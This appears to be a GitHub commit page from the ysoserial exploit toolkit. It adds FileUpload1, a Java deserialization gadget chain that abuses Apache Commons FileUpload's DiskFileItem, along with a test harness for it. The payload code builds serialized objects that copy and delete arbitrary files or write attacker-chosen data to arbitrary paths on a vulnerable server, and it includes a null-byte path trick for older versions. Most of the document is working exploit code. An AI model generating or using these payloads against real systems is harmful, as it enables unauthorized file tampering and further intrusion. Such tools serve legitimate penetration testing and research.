-
Notifications
You must be signed in to change notification settings - Fork 1.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add commons fileupload file operation gadget chain.
- Loading branch information
Showing
3 changed files
with
219 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,124 @@ | ||
package ysoserial.payloads; | ||
|
||
|
||
import java.io.File; | ||
import java.io.IOException; | ||
import java.io.OutputStream; | ||
import java.lang.reflect.Field; | ||
import java.util.Arrays; | ||
|
||
import org.apache.commons.codec.binary.Base64; | ||
import org.apache.commons.fileupload.disk.DiskFileItem; | ||
import org.apache.commons.io.output.DeferredFileOutputStream; | ||
import org.apache.commons.io.output.ThresholdingOutputStream; | ||
|
||
import ysoserial.PayloadTest; | ||
import ysoserial.payloads.annotation.Dependencies; | ||
import ysoserial.payloads.util.PayloadRunner; | ||
import ysoserial.payloads.util.Reflections; | ||
|
||
|
||
/** | ||
* Gadget chain: | ||
* DiskFileItem.readObject() | ||
* | ||
* Arguments: | ||
* - copyAndDelete:sourceFile:destDir | ||
* - write:destDir:ascii-data | ||
* - writeB64:destDir:base64-data | ||
* - writeOld:destFile:ascii-data | ||
* - writeOldB64:destFile:base64-data | ||
* | ||
* Yields: | ||
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) | ||
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file | ||
* - 1.3.1+: write data to a more or less random file in an arbitrary directory | ||
* | ||
* @author mbechler | ||
*/ | ||
@Dependencies ( { | ||
"commons-fileupload:commons-fileupload:1.3.1", | ||
"commons-io:commons-io:2.4" | ||
} ) | ||
@PayloadTest(harness="ysoserial.payloads.FileUploadTest") | ||
public class FileUpload1 implements ObjectPayload<DiskFileItem> { | ||
|
||
/** | ||
* {@inheritDoc} | ||
* | ||
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) | ||
*/ | ||
public DiskFileItem getObject ( String command ) throws Exception { | ||
|
||
String[] parts = command.split(":"); | ||
|
||
if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { | ||
return copyAndDelete(parts[ 1 ], parts[ 2 ]); | ||
} | ||
else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { | ||
return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); | ||
} | ||
else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { | ||
return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); | ||
} | ||
else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { | ||
return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); | ||
} | ||
else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { | ||
return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); | ||
} | ||
else { | ||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); | ||
} | ||
} | ||
|
||
|
||
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { | ||
return makePayload(0, copyTo, copyAndDelete, new byte[1]); | ||
} | ||
|
||
|
||
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp) | ||
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { | ||
return makePayload(data.length + 1, dir, dir + "/whatever", data); | ||
} | ||
|
||
|
||
// writes data to an arbitrary file | ||
private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { | ||
return makePayload(data.length + 1, file + "\0", file, data); | ||
} | ||
|
||
|
||
/** | ||
* @param thresh | ||
* @param repoPath | ||
* @param filePath | ||
* @param data | ||
* @return | ||
* @throws IOException | ||
* @throws Exception | ||
*/ | ||
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { | ||
// if thresh < written length, delete outputFile after copying to repository temp file | ||
// otherwise write the contents to repository temp file | ||
File repository = new File(repoPath); | ||
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); | ||
File outputFile = new File(filePath); | ||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); | ||
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); | ||
os.write(data); | ||
Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written"); | ||
writtenF.setAccessible(true); | ||
writtenF.set(dfos, data.length); | ||
Reflections.setFieldValue(diskFileItem, "dfos", dfos); | ||
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); | ||
return diskFileItem; | ||
} | ||
|
||
|
||
public static void main ( final String[] args ) throws Exception { | ||
PayloadRunner.run(FileUpload1.class, args); | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
/** | ||
* © 2016 AgNO3 Gmbh & Co. KG | ||
* All right reserved. | ||
* | ||
* Created: 05.03.2016 by mbechler | ||
*/ | ||
package ysoserial.payloads; | ||
|
||
import java.io.File; | ||
import java.io.IOException; | ||
import java.util.Arrays; | ||
import java.util.concurrent.Callable; | ||
|
||
import org.junit.Assert; | ||
|
||
import com.google.common.io.Files; | ||
|
||
import ysoserial.CustomTest; | ||
|
||
/** | ||
* @author mbechler | ||
* | ||
*/ | ||
public class FileUploadTest implements CustomTest { | ||
|
||
/** | ||
* | ||
*/ | ||
private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF }; | ||
private File source; | ||
private File repo; | ||
|
||
|
||
/** | ||
* | ||
*/ | ||
public FileUploadTest () { | ||
try { | ||
source = File.createTempFile("fileupload-test", ".source"); | ||
source.deleteOnExit(); | ||
repo = Files.createTempDir(); | ||
} | ||
catch ( IOException e ) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
|
||
/** | ||
* {@inheritDoc} | ||
* | ||
* @see ysoserial.CustomTest#run(java.util.concurrent.Callable) | ||
*/ | ||
public void run ( Callable<Object> payload ) throws Exception { | ||
try { | ||
Files.write(FDATA, this.source); | ||
payload.call(); | ||
|
||
File found = null; | ||
for ( File f : this.repo.listFiles()) { | ||
found = f; | ||
break; | ||
} | ||
Assert.assertNotNull("File not copied", found); | ||
Assert.assertFalse("Source not deleted", this.source.exists()); | ||
Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found))); | ||
} finally { | ||
if ( this.repo.exists()) { | ||
for ( File f : this.repo.listFiles()) { | ||
f.delete(); | ||
} | ||
this.repo.delete(); | ||
} | ||
} | ||
} | ||
|
||
/** | ||
* {@inheritDoc} | ||
* | ||
* @see ysoserial.CustomTest#getPayloadArgs() | ||
*/ | ||
public String getPayloadArgs () { | ||
return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath(); | ||
} | ||
|
||
} |